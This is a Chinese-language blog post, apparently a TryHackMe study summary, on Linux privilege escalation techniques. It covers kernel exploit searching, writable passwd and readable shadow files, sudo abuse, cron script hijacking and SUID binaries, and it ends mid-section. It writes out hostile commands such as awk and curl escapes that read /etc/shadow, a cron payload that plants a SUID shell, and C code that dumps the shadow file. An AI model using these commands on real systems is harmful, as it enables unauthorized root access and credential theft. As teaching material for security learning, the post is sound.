{"id":625,"date":"2020-11-25T08:35:12","date_gmt":"2020-11-25T00:35:12","guid":{"rendered":"https:\/\/byy3.com\/?p=625"},"modified":"2021-01-09T10:13:32","modified_gmt":"2021-01-09T02:13:32","slug":"linux-%e6%8f%90%e6%9d%83%e7%9a%84%e5%90%84%e7%a7%8d%e5%a7%bf%e5%8a%bf%e6%80%bb%e7%bb%93","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=625","title":{"rendered":"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3"},"content":{"rendered":"<div class=\"rno-markdown J-articleContent\">\n<p>\u8fd9\u7bc7\u8bb2\u4e00\u4e9b\u5173\u4e8e Linux \u63d0\u6743\u7684\u65b9\u6cd5\uff0c\u4e5f\u662f\u8fd9\u51e0\u4e2a\u6708\u4ee5\u6765\u88ab\u56f0\u5728\u6cd5\u56fd\u7981\u8db3\uff0c\u540e\u5728\u5bb6\u5b66\u4e60tryhackme\u7684\u4e00\u4e9b\u5c0f\u603b\u7ed3\uff0c\u5bf9\u4e8e\u521a\u63a5\u89e6 Linux \u63d0\u6743\u7684\u4f19\u4f34\u6765\u8bf4\uff0c\u9700\u8981\u82b1\u4e0d\u5c11\u65f6\u95f4\u53bb\u7406\u89e3\uff0c\u6240\u4ee5\u8fd9\u91cc\u662f\u4ee5\u4e2a\u4eba\u901a\u4fd7\u6613\u61c2\u7684\u601d\u8def\u53bb\u5199\uff0c\u5e0c\u671b\u80fd\u5e2e\u5230\u70ed\u7231\u5b66\u4e60\u7684\u670b\u53cb\uff0c\u5148\u5199\u8fd9\u4e9b\u63d0\u6743\u65b9\u6cd5\u3002\u82e5\u6709\u66f4\u597d\u7684\u63d0\u6743\u65b9\u5f0f\uff0c\u6b22\u8fce\u5927\u5bb6\u5728\u8bc4\u8bba\u91cc\u8865\u5145\u4e00\u4e0b\u3002<\/p>\n<p>\u63d0\u6743\u53ef\u80fd\u9700\u8981\u53cd\u5f39 bash \uff0c\u56e0\u4e3a\u811a\u672c\u8bed\u8a00\u65e0\u6cd5\u5f62\u6210\u7ba1\u9053\uff0c\u9700\u8981\u521b\u9020\u4e00\u4e2a\u7ba1\u9053\u624d\u80fd\u8fdb\u884c\u540e\u7eed\u7684\u64cd\u4f5c\uff0c\u6bd4\u5982\u6ea2\u51fa\u6210\u529f\u4e4b\u540e\u8fd4\u56de\u4e00\u4e2a root \u6743\u9650\u7684 shell\uff0c\u811a\u672c\u8bed\u8a00\u6267\u884c\u5b8c\u5c31\u5b8c\u4e86\uff0c\u4e0d\u4f1a\u8fd4\u56de\u4e00\u4e2a\u53ef\u4ee5\u64cd\u4f5c\u7684 root shell\uff0c\u4e4b\u524d\u4e0d\u592a\u61c2\u53cd\u5f39shell\u7684\u4f5c\u7528\uff0c\u540e\u6765\u5728\u793e\u533a\u8bc4\u8bba\u91cc\u770b\u5230\u4e86\u89e3\u7b54\u3002<\/p>\n<h3 id=\"%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93\"><strong>\u63d0\u6743\u65b9\u5f0f\u603b\u7ed3<\/strong><\/h3>\n<h4 id=\"1%E3%80%81%E5%88%A9%E7%94%A8%E5%86%85%E6%A0%B8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%8F%90%E6%9D%83\"><strong>1\u3001\u5229\u7528\u5185\u6838\u6808\u6ea2\u51fa\u63d0\u6743<\/strong><\/h4>\n<h5 id=\"1.1-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86\"><strong>1.1 \u4fe1\u606f\u6536\u96c6 <\/strong><\/h5>\n<blockquote><p>uname -a Linux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU\/Linux<\/p><\/blockquote>\n<p>\u5185\u6838\u7248\u672c 3.10.0, CPU \u67b6\u6784 x86_64<\/p>\n<blockquote><p>cat \/etc\/*-release CentOS Linux release 7.4.1708 (Core) NAME=\"CentOS Linux\" VERSION=\"7 (Core)\" ID=\"centos\" ID_LIKE=\"rhel fedora\" VERSION_ID=\"7\" PRETTY_NAME=\"CentOS Linux 7 (Core)\"<\/p><\/blockquote>\n<p><code>searchsploit<\/code> linux 3.10 CentOS Linux 7<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-626\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500050986.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"696\" height=\"419\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe\" \/><\/div>\n<\/figure>\n<h5 id=\"1.2-linux-exploit-suggester-2\"><strong>1.2 linux-exploit-suggester-2 <\/strong><\/h5>\n<p>\u5728\u6211\u7684\u865a\u62df\u673a CentOS \u6267\u884c\u65f6\uff0c\u53d1\u73b0\u5b58\u5728\u810f\u725b\u63d0\u6743\u6f0f\u6d1e<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-627\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500054151.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"800\" height=\"600\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe1\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe1\" \/><\/div>\n<\/figure>\n<h4 id=\"2%E3%80%81%E6%98%8E%E6%96%87-root-%E5%AF%86%E7%A0%81%E6%8F%90%E6%9D%83\"><strong>2\u3001\u660e\u6587 root \u5bc6\u7801\u63d0\u6743<\/strong><\/h4>\n<p>passwd \u50a8\u5b58\u4e86\u7528\u6237\uff0c\u5168\u7528\u6237\u53ef\u8bfb\uff0croot \u53ef\u5199 shadow \u5b58\u50a8\u5bc6\u7801\u7684 hash\uff0c\u4ec5 root \u53ef\u8bfb\u5199<\/p>\n<p>passwd \u6587\u4ef6\uff1a<\/p>\n<blockquote><p>daemon<code>:x:<\/code>1:1:daemon:\/usr\/sbin:\/bin\/sh<\/p><\/blockquote>\n<p>passwd \u7531\u5192\u53f7\u5206\u5272\uff0c\u7b2c\u4e00\u5217\u662f\u7528\u6237\u540d\uff0c\u7b2c\u4e8c\u5217\u662f\u5bc6\u7801\uff0cx \u4ee3\u8868\u5bc6\u7801 hash \u88ab\u653e\u5728 shadow \u91cc\u9762\u4e86\uff08\u8fd9\u6837\u975e root \u5c31\u770b\u4e0d\u5230\u4e86\uff09\u3002\u800c shadow \u91cc\u9762\u6700\u91cd\u8981\u7684\u5c31\u662f\u5bc6\u7801\u7684 hash<\/p>\n<p><strong>\u6d4b\u8bd5<\/strong><\/p>\n<p>\u68c0\u6d4b passwd\u3001shadow \u662f\u5426\u53ef\u5199<\/p>\n<blockquote><p>ls -l passwd shadow<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-628\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500082744.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"488\" height=\"74\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe2\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe2\" \/><\/div>\n<\/figure>\n<p>1\u3001passwd \u53ef\u5199<\/p>\n<p>\u4ece\u4e0a\u9762\u56fe\u7247\u91cc\u770b\u5230\uff0cpasswd \u6587\u4ef6\u662f\u53ef\u5199\u7684\uff0c\u5c06 passwd \u7684 root \u5bc6\u7801 X \u66ff\u6362\u4e3a\u6211\u4eec\u81ea\u5df1\u7684 hash\uff0c\u5982\u66ff\u6362\u4e3a\u81ea\u5df1 linux \u91cc\u7684 hash\uff0c\u53ef\u4fee\u6539\u76ee\u6807\u7684 root \u5bc6\u7801<\/p>\n<p>2\u3001shadow \u53ef\u8bfb<\/p>\n<p>\u628a shadow \u91cc\u9762 root \u7684 hash \u8f85\u52a9\u51fa\u6765\uff0c\u7528 hash\u3001john \u7206\u7834<\/p>\n<h4 id=\"3%E3%80%81%E5%AF%86%E7%A0%81%E5%A4%8D%E7%94%A8\"><strong>3\u3001\u5bc6\u7801\u590d\u7528<\/strong><\/h4>\n<p>\u5982\u6570\u636e\u5e93\u3001\u540e\u53f0 web \u5bc6\u7801\uff0c\u53ef\u80fd\u5c31\u662f root \u5bc6\u7801<\/p>\n<h4 id=\"4%E3%80%81sudo-%E6%BB%A5%E7%94%A8\"><strong>4\u3001sudo \u6ee5\u7528<\/strong><\/h4>\n<p>sudo \u5927\u5bb6\u7ecf\u5e38\u9047\u5230\uff0c\u6bd4\u5982\u6267\u884c\u6743\u9650\u4e0d\u591f\u65f6\u52a0 sudo \u6267\u884c\uff0csudo \u662f\u8ba9\u666e\u901a\u7528\u6237\u4f7f\u7528\u8d85\u7ea7\u7528\u6237\u7684\u547d\u4ee4\u3002\u5176\u914d\u7f6e\u6587\u4ef6\u4e3a \/etc\/sudoers\uff0c\u6587\u4ef6\u5b9a\u4e49\u53ef\u4ee5\u6267\u884c sudo \u7684\u8d26\u6237\u3001\u5b9a\u4e49\u67d0\u4e2a\u5e94\u7528\u7a0b\u5e8f\u7528 root \u8bbf\u95ee\u3001\u662f\u5426\u9700\u8981\u5bc6\u7801\u9a8c\u8bc1\u3002<\/p>\n<p>\u67e5\u770b\u53ef\u4ee5\u6267\u884c\u54ea\u4e9b\u547d\u4ee4\uff0c\u5373\u4e0d\u9700\u8981\u77e5\u9053 root \u5bc6\u7801\u65f6\uff0c\u9700\u9a8c\u8bc1\u81ea\u8eab\u666e\u901a\u6743\u9650\u7684\u5bc6\u7801<\/p>\n<blockquote><p>sudo -l<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-630\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500134251.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"755\" height=\"331\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe3\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe3\" \/><\/div>\n<\/figure>\n<p>\u53ef\u4ee5\u652f\u6301\u6240\u6709\u547d\u4ee4\uff0c\u4e0b\u9762\u53c2\u8003\u8fd9\u4e2a\u7f51\u5740:<\/p>\n<blockquote><p>https:\/\/gtfobins.github.io\/<\/p><\/blockquote>\n<p>\u8fd9\u91cc\u4ee5 awk\u3001man\u3001curl \u4e3e\u4e2a\u6817\u5b50<\/p>\n<p><strong>1\u3001su<\/strong><\/p>\n<blockquote><p>sudo su<\/p><\/blockquote>\n<p>\u8f93\u5165\u666e\u901a\u6743\u9650\u7528\u6237\u5bc6\u7801\uff0c\u5207\u6362\u4e3a root<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-632\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500162478.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"272\" height=\"132\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe4\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe4\" \/><\/div>\n<\/figure>\n<p><strong>2\u3001awk<\/strong><\/p>\n<blockquote><p>sudo awk 'BEGIN {system(\"\/bin\/sh\")}'<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-633\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500163935.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"607\" height=\"184\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe5\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe5\" \/><\/div>\n<\/figure>\n<p><strong>3\u3001man<\/strong><\/p>\n<blockquote><p>sudo man man<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-634\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500170129.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"800\" height=\"600\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe6\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe6\" \/><\/div>\n<\/figure>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-635\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500172552.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"440\" height=\"172\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe7\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe7\" \/><\/div>\n<\/figure>\n<p><strong>4\u3001curl<\/strong><\/p>\n<blockquote><p>sudo curl file:\/\/\/etc\/shadow<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-636\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500174334.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"800\" height=\"600\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe8\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe8\" \/><\/div>\n<\/figure>\n<h4 id=\"5%E3%80%81su-root-%E8%A2%AB%E7%A6%81%E6%AD%A2%E8%A7%A3%E5%86%B3\"><strong>5\u3001su root \u88ab\u7981\u6b62\u89e3\u51b3<\/strong><\/h4>\n<p>\u62ff\u5230 root \u5bc6\u7801\uff0c\u7aef\u53e3\u8f6c\u53d1\uff0c\u4ee3\u7406\uff0c\u4f46\u9632\u62a4\u5899\u7981\u6b62\u5176\u4ed6\u4eba\u767b\u5f55 root\uff0c\u5728\u539f\u6765\u7684\u4f4e\u6743\u9650 shell\uff0c\u4e5f\u65e0\u6cd5 sudo \u5207\u6362 root<\/p>\n<p>\u56e0\u4e3a\u51fa\u4e8e\u5b89\u5168\u8003\u8651\uff0clinux \u8981\u6c42\u7528\u6237\u5fc5\u987b\u4ece\u7ec8\u7aef\u8bbe\u5907\uff08tty\uff09\u4e2d\u8f93\u5165\u5bc6\u7801\uff0c\u800c\u4e0d\u662f\u6807\u51c6\u8f93\u5165\uff08stdin\uff09\u3002<\/p>\n<p>\u6240\u4ee5 sudo \u5728\u4f60\u8f93\u5165\u5bc6\u7801\u7684\u65f6\u5019\u672c\u8d28\u4e0a\u662f\u8bfb\u53d6\u4e86\u952e\u76d8\uff0c\u800c\u4e0d\u662f\u8bfb\u53d6 bash \u91cc\u9762\u8f93\u5165\u7684\u5b57\u7b26\u3002<\/p>\n<p><strong>\u6d4b\u8bd5\uff1a<\/strong><\/p>\n<p>python \u8bed\u6cd5:<\/p>\n<blockquote><p>python -c 'import pty;pty.spawn(\"\/bin\/sh\")'<\/p><\/blockquote>\n<p>\u4ea4\u4e92 shell\uff0c\u7b80\u5355 shell \u7b80\u5355 shell \u4e2d\u76f4\u63a5\u6309\u5220\u9664\u952e\u662f\u4e0d\u884c\u7684\uff0c\u8981\u6309\u4f4f ctrl \u952e\u4e4b\u540e\uff0c\u518d\u6309\u4f4f\u5220\u9664\u952e\u624d\u53ef\u4ee5\uff0c\u5176\u4ed6\u952e\u7684\u4f7f\u7528\u4e5f\u4e00\u6837<\/p>\n<blockquote><p>$ sudo su<\/p><\/blockquote>\n<h4 id=\"6%E3%80%81%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1\"><strong>6\u3001\u8ba1\u5212\u4efb\u52a1<\/strong><\/h4>\n<blockquote><p>ls -l \/etc\/cron*<\/p><\/blockquote>\n<p>\u975e root \u6743\u9650\u7684\u7528\u6237\u662f\u4e0d\u53ef\u4ee5\u5217\u51fa root \u7528\u6237\u7684\u8ba1\u5212\u4efb\u52a1\u7684\u3002\u4f46\u662f \/etc\/ \u5185\u7cfb\u7edf\u7684\u8ba1\u5212\u4efb\u52a1\u53ef\u4ee5\u88ab\u5217\u51fa\uff0c\u5e76\u4e14\u9ed8\u8ba4\u8fd9\u4e9b\u7a0b\u5e8f\u4ee5 root \u6743\u9650\u6267\u884c<\/p>\n<p><strong>\u91cd\u5199 python<\/strong><\/p>\n<p>\u82e5\u8fd9\u4e9b\u8ba1\u5212\u4efb\u52a1\u7684\u811a\u672c\u53ef\u5199\uff0c\u5219\u7f16\u8f91\u4e3a shell<\/p>\n<p>crontab \u6587\u4ef6\u662f\u8ba1\u5212\u4efb\u52a1\u7684\u914d\u7f6e\uff0c\u6b64\u6587\u4ef6\u53ea\u6709 root \u53ef\u5199\uff0c\u6211\u4eec\u4e0d\u9700\u8981\u53bb\u4fee\u6539 crontab\uff0c\u53ea\u67e5\u770b\u91cc\u9762\u7684\u6709\u54ea\u4e9b\u4efb\u52a1\uff0c\u6bd4\u5982\u5b9a\u65f6\u6267\u884c\u4e86\u54ea\u4e9b\u811a\u672c\uff0c\u518d\u67e5\u770b\u5bf9\u5e94\u811a\u672c\u7684\u6743\u9650\uff0c\u82e5\u53ef\u5199\uff0c\u5219\u4fee\u6539\u5b83\u3002<\/p>\n<p>\u6d4b\u8bd5\uff1a<\/p>\n<blockquote><p>cat \/etc\/crontab<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-637\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500181031.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"786\" height=\"338\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe9\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe9\" \/><\/div>\n<\/figure>\n<p>\u6211\u6ca1\u6709\u8bbe\u7f6e\u5b9a\u65f6\u4efb\u52a1\uff0c\u6a21\u62df\u4e00\u4e0b\uff0c\u5982\u679c\u91cc\u9762\u6709\u4e2a <code>1.python<\/code><\/p>\n<blockquote><p>ls -al \/tmp\/1.py \/\/\u67e5\u770b\u662f\u5426\u6709w\u6743\u9650<\/p>\n<p>cat -al \/tmp\/1.py \/\/\u5199\u5165\u4ee3\u7801 import os os.system('cp \/bin\/sh \/tmp\/sh') os.system('chmod u+s \/tmp\/sh')<\/p><\/blockquote>\n<p>\u5f53\u5230\u4e86\u8ba1\u5212\u6267\u884c\u65f6\u95f4\uff0c\u5c31\u4f1a\u4ee5 root \u6743\u9650\u6267\u884c 1.py\uff0c\u5373\u5c06 \/bin\/sh \u590d\u5236\u5230 \/tmp\/sh<\/p>\n<p>\u539f\u672c\u662f\u6ca1\u6709 \/tmp\/sh<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-638\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500183366.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"376\" height=\"104\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe10\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe10\" \/><\/div>\n<\/figure>\n<p>\u5f53\u6267\u884c <code>sudo python 1.py<\/code> \u65f6\uff0c\u5c31\u4f1a\u590d\u5236\u5230 \/tmp\/sh<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-639\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500185373.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"498\" height=\"87\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe11\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe11\" \/><\/div>\n<\/figure>\n<p>\u6211\u4eec\u53ea\u9700\u8981\u8fdb\u5165 \/tmp\uff0c\u6267\u884c .\/sh \u53ef\u83b7\u53d6 root<\/p>\n<p>\u8fd9\u91cc\u7684 cp \u547d\u4ee4\u662f\u57fa\u4e8e SUID\uff0c\u7ed9 1.py \u8bbe\u7f6e SUID \u6743\u9650\u3002\u53ef\u4ee5\u7ed3\u5408\u73af\u5883\u53d8\u91cf\u65b9\u5f0f\uff0c\u628a \/tmp\/sh \u6dfb\u52a0\u5230\u73af\u5883\u53d8\u91cf\uff0c\u65e0\u9700\u8fdb\u5165 \/tmp\/sh \u53bb\u6267\u884c .\/sh\uff0c\u6267\u884c sh \u53d8\u4e3a root\u3002\u4e5f\u53ef\u4ee5\u5728 1.py \u5199\u5165\u53cd\u5f39 shell \u7684 python \u4ee3\u7801\uff0c\u6b64\u65f6\u53cd\u5f39\u7684 shell \u5177\u6709 root \u6743\u9650<\/p>\n<p>1\u3001tab \u901a\u914d\u7b26<\/p>\n<p>\u4e3a\u4e86\u6d4b\u8bd5\uff0c\u6211\u5148\u624b\u52a8\u6dfb\u52a0\u4e00\u6761\u4efb\u52a1\uff0c\u6bcf\u9694\u4e00\u5206\u949f\u6253\u5305 \/aaa \u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\uff0c\u5230 \/var\/backups\/aaa.tgz<\/p>\n<blockquote><p>cat \/etc\/crontab *\/1* * * * root tar -zcf \/var\/backups\/aaa.tgz \/tmp\/aaa\/*<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-640\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500191437.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"783\" height=\"307\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe12\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe12\" \/><\/div>\n<\/figure>\n<p>\u9632\u8303\uff1a<\/p>\n<p>crontab \u4efb\u52a1\u5343\u4e07\u4e0d\u8981\u5199\u5230 \/etc\/crontab \u6587\u4ef6\u91cc\u3002\u901a\u8fc7 crontab -e \u53bb\u521b\u5efa\uff0c\u8ba9\u4ed6\u5199\u5230\u9ed8\u8ba4\u7684 \/var\/spool\/cron\u4e0b\uff1b\u521b\u5efa\u4efb\u52a1\u65f6\uff0c\u907f\u514d\u4f7f\u7528 root \u53bb\u521b\u5efa\u4efb\u52a1\uff0c\u82e5\u7528 root \u521b\u5efa\u4efb\u52a1\uff0c\u6ce8\u610f\u8bbe\u7f6e\u6743\u9650\uff0c\u907f\u514d root \u6743\u9650\u6267\u884c\u4efb\u52a1\u3002<\/p>\n<h4 id=\"7%E3%80%81SUID\"><strong>7\u3001SUID<\/strong><\/h4>\n<p>SUID \u662f\u4e00\u79cd\u7279\u6b8a\u7684\u6587\u4ef6\u5c5e\u6027\uff0c\u5b83\u5141\u8bb8\u7528\u6237\u6267\u884c\u7684\u6587\u4ef6\u4ee5\u8be5\u6587\u4ef6\u7684\u62e5\u6709\u8005\u7684\u8eab\u4efd\u8fd0\u884c\u3010ls \u67e5\u770b\u65f6\u6709 s \u5c5e\u6027\u624d\u652f\u6301 SUID\u3011\uff0c<\/p>\n<p>\u5982 passwd \u6587\u4ef6\uff0c\u666e\u901a\u7528\u6237\u4e0d\u80fd\u76f4\u63a5\u8bfb\u5199\uff0c\u4f46\u53ef\u901a\u8fc7 passwd \u547d\u4ee4\uff0c\u4ee5 root \u6743\u9650\u4fee\u6539 shadow\uff08\u56e0\u4e3a shadow \u662f root \u6743\u9650\u6587\u4ef6\uff0c\u4fee\u6539\u4f1a\u4ee5 root \u6743\u9650\u4fee\u6539\uff09<\/p>\n<p>c \u6e90\u4ee3\u7801:( \u4fdd\u5b58\u4e3asuid-exp.c)\u7f16\u8bd1gcc suid-exp.c -o suid-exp\u00a0 )<\/p>\n<pre class=\"prism-token token language-javascript\">#include<span class=\"token operator\">&lt;<\/span>stdlib<span class=\"token punctuation\">.<\/span>h<span class=\"token operator\">&gt;<\/span>\r\n#include <span class=\"token operator\">&lt;<\/span>unistd<span class=\"token punctuation\">.<\/span>h<span class=\"token operator\">&gt;<\/span>\r\n int <span class=\"token function\">main<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>\r\n<span class=\"token punctuation\">{<\/span>\r\n<span class=\"token function\">setuid<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><span class=\"token comment\">\/\/run as root<\/span>\r\n<span class=\"token function\">system<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">\"id\"<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span>\r\n<span class=\"token function\">system<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">\"cat \/etc\/shadow\"<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span>\r\n<span class=\"token punctuation\">}<\/span><\/pre>\n<p>\u7f16\u8bd1\u540e ls \u67e5\u770b<\/p>\n<blockquote><p>ls -l -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp<\/p><\/blockquote>\n<p>\u6ce8\u610f s \u5c5e\u6027\uff0c\u8868\u793a\u8fd9\u4e2a\u7a0b\u5e8f\u6709 SUID \u7684\u5c5e\u6027\u3002<\/p>\n<p>\u6f14\u793a\u7a0b\u5e8f\u53ea\u80fd\u6267\u884c cat \/etc\/shadow\uff0c\u4ee5\u666e\u901a\u6743\u9650\u6267\u884c .\/suid-exp\uff0c\u4e5f\u80fd\u770b\u5230 shadow \u5185\u5bb9<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-641\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500195512.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"1080\" height=\"407\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe13\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe13\" \/><\/div>\n<\/figure>\n<p>\u67e5\u627e SUID \u6587\u4ef6<\/p>\n<blockquote><p>find \/ -user root -perm -4000 -print 2&gt;\/dev\/null<\/p>\n<p>find \/ -perm -u=s -type f 2&gt;\/dev\/null<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-642\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500201571.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"718\" height=\"651\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe14\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe14\" \/><\/div>\n<\/figure>\n<p>\u770b\u5230\u521a\u521a\u521b\u5efa\u7684 suid\uff0c \/tmp\/suid-exp<\/p>\n<h4 id=\"8%E3%80%81%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81-SUID-%E6%89%A9%E5%B1%95\"><strong>8\u3001\u73af\u5883\u53d8\u91cf\u52ab\u6301-SUID 